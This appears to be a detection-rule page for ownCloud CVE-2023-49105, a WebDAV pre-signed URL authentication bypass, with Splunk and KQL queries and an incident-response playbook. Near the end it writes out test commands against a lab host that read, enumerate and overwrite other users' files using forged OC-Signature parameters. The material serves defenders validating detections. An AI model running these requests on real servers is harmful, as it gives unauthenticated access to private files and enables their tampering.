Detect ownCloud WebDAV API Authentication Bypass via Pre-Signed URLs (CVE-2023-49105) in Splunk
Detects exploitation of CVE-2023-49105, an improper authentication vulnerability in ownCloud's WebDAV API. Pre-signed URLs are accepted even when no signing key is configured for the owner, allowing an unauthenticated attacker to access, modify or delete any file of any user via crafted requests containing OC-Signature parameters. This CVE is on the CISA KEV list. Detection focuses on unauthenticated WebDAV requests carrying pre-signed URL parameters (OC-Signature, OC-Credential, OC-Expires) and anomalous access patterns against the remote.php/dav or remote.php/webdav endpoints.
MITRE ATT&CK
- Tactic
- Initial Access Credential Access
SPL Detection Query
index=web (sourcetype="ms:iis" OR sourcetype="apache:access" OR sourcetype="nginx:access")
| where match(uri_path, "remote\.php/(non[a-z]*)?(web)?dav")
| where like(uri_query, "%OC-Signature%") OR like(uri_query, "%OC-Credential%")
| where (isnull(user) OR user="-" OR user="")
| where status IN ("200","201","204","207")
| stats count, values(uri_path) as endpoints, values(status) as statuses, dc(uri_path) as distinct_paths by src_ip, http_user_agent
| where count > 0
| sort - countSplunk search for unauthenticated WebDAV requests to ownCloud that include pre-signed URL parameters and succeed, aggregated by source IP and user agent to surface bulk file access attempts.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Authorized pre-signed URL usage where signing keys are correctly configured
- Web application penetration tests during authorized engagements
- Reverse-proxy logging that omits the authenticated user field for all requests
Other platforms for CVE-2023-49105
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Unauthenticated WebDAV access via pre-signed URL parameters
Expected signal: Web server access log entry for GET remote.php/dav with OC-Signature query parameter and no authenticated user
- Test 2Bulk pre-signed URL enumeration of multiple users
Expected signal: Multiple web log entries for distinct /files/<user>/ paths with OC-Signature parameters from a single source IP
- Test 3Pre-signed URL bypass file modification via PUT
Expected signal: Web log entry for PUT remote.php/dav with OC-Signature parameter and a 201/204 success response
References (5)
- https://owncloud.org/security
- https://owncloud.com/security-advisories/webdav-api-authentication-bypass-using-pre-signed-urls/
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://nvd.nist.gov/vuln/detail/CVE-2023-49105
Response Playbook
Triage
- Confirm the ownCloud server version; CVE-2023-49105 affects the WebDAV pre-signed URL feature — determine whether the affected release is deployed and whether a signing key is configured for the accessed owner accounts.
- Extract the source IP, user agent and full request URI from the alert and determine whether the request originated from an internal, trusted or unknown external network.
- Review the OC-Signature/OC-Credential parameters in the captured request and verify whether a valid signing key existed for the targeted user — a bypass succeeds when no key is set, so successful 200/207 responses without a configured key are high-confidence exploitation.
- Correlate the source IP against threat intelligence and check for prior reconnaissance (status.php, GET /remote.php/dav enumeration) from the same host.
Containment
- Block the offending source IP(s) at the WAF/reverse proxy and, if exploitation is confirmed, temporarily disable external access to the remote.php/dav and remote.php/webdav endpoints.
- Apply the ownCloud vendor patch and, as an interim mitigation, ensure a signing-key is enforced for all users or disable the pre-signed URL feature per the vendor security advisory.
- Rotate credentials and invalidate active sessions for any user accounts whose files were accessed via the bypass.
Evidence Collection
- Preserve the full IIS/Apache/nginx web access logs covering the exploitation window, including query strings with OC-Signature parameters.
- Capture the ownCloud application logs (owncloud.log) and database access records to enumerate which files were read, modified or deleted.
- Snapshot the affected server (memory and disk) if follow-on activity such as webshell upload or lateral movement is suspected.
Escalation Criteria
- !Escalate to incident response if successful (2xx) unauthenticated WebDAV access to files belonging to multiple distinct users is confirmed.
- !Escalate to data-protection/legal teams if files containing regulated or sensitive data were exfiltrated or modified via the bypass.
- !Escalate to threat-hunting if the same source IP shows follow-on activity such as file uploads, PROPFIND enumeration at scale, or access to administrative shares.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Web server access logs (IIS W3C / Apache / nginx) containing remote.php/dav requests with OC-Signature query parameters - >
ownCloud application log (owncloud.log) entries recording WebDAV file operations - >
Database records of file metadata changes and access timestamps
Tuning Guidance
If your environment legitimately uses ownCloud pre-signed URLs with configured signing keys, baseline the source IPs and user agents that generate valid signed requests and exclude them. Narrow scStatus to 207 (WebDAV multi-status) and 200 to reduce noise from failed probes. Where the reverse proxy strips the authenticated user field for all traffic, rely instead on correlation with the absence of a preceding authentication event and on request volume anomalies.
Hunting Queries
Surfaces source IPs generating a high volume or high diversity of ownCloud WebDAV requests carrying pre-signed URL signatures, indicating scripted exploitation or enumeration.
W3CIISLog | where csUriStem has "remote.php" | where csUriQuery has "OC-Signature" | summarize count(), dcount(csUriStem) by cIP, csUserAgent | order by count_ descindex=web sourcetype=ms:iis uri_path="*remote.php*" uri_query="*OC-Signature*" | stats count dc(uri_path) as paths by src_ip http_user_agent | sort - countAtomic Red Team Tests
Simulates CVE-2023-49105 by issuing an unauthenticated request to the ownCloud WebDAV endpoint with crafted OC-Signature and OC-Credential parameters.
Command
curl -s -o /dev/null -w '%{http_code}\n' 'https://owncloud.lab.local/remote.php/dav/files/admin/secret.txt?OC-Credential=admin&OC-Verb=GET&OC-Expires=9999999999&OC-Signature=deadbeefdeadbeefdeadbeefdeadbeef'Cleanup
echo 'No cleanup required; request is read-only against lab target'Expected Telemetry
Web server access log entry for GET remote.php/dav with OC-Signature query parameter and no authenticated user
Expected Detection
Detection fires on the unauthenticated WebDAV request carrying pre-signed URL parameters
Simulates scripted enumeration of multiple users' files via pre-signed URL bypass.
Command
for u in admin alice bob carol; do curl -s -o /dev/null 'https://owncloud.lab.local/remote.php/dav/files/'$u'/?OC-Credential='$u'&OC-Verb=PROPFIND&OC-Expires=9999999999&OC-Signature=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' -X PROPFIND; doneCleanup
echo 'No cleanup required; read-only enumeration against lab target'Expected Telemetry
Multiple web log entries for distinct /files/<user>/ paths with OC-Signature parameters from a single source IP
Expected Detection
Detection fires and aggregation surfaces a single source IP accessing multiple distinct user paths
Simulates unauthenticated file write through the pre-signed URL bypass using a WebDAV PUT.
Command
powershell -Command "Invoke-WebRequest -Uri 'https://owncloud.lab.local/remote.php/dav/files/admin/pwn.txt?OC-Credential=admin&OC-Verb=PUT&OC-Expires=9999999999&OC-Signature=cccccccccccccccccccccccccccccccc' -Method PUT -Body 'compromised' -UseBasicParsing"Cleanup
powershell -Command "Invoke-WebRequest -Uri 'https://owncloud.lab.local/remote.php/dav/files/admin/pwn.txt?OC-Credential=admin&OC-Verb=DELETE&OC-Expires=9999999999&OC-Signature=cccccccccccccccccccccccccccccccc' -Method DELETE -UseBasicParsing"Expected Telemetry
Web log entry for PUT remote.php/dav with OC-Signature parameter and a 201/204 success response
Expected Detection
Detection fires on the unauthenticated WebDAV write carrying pre-signed URL parameters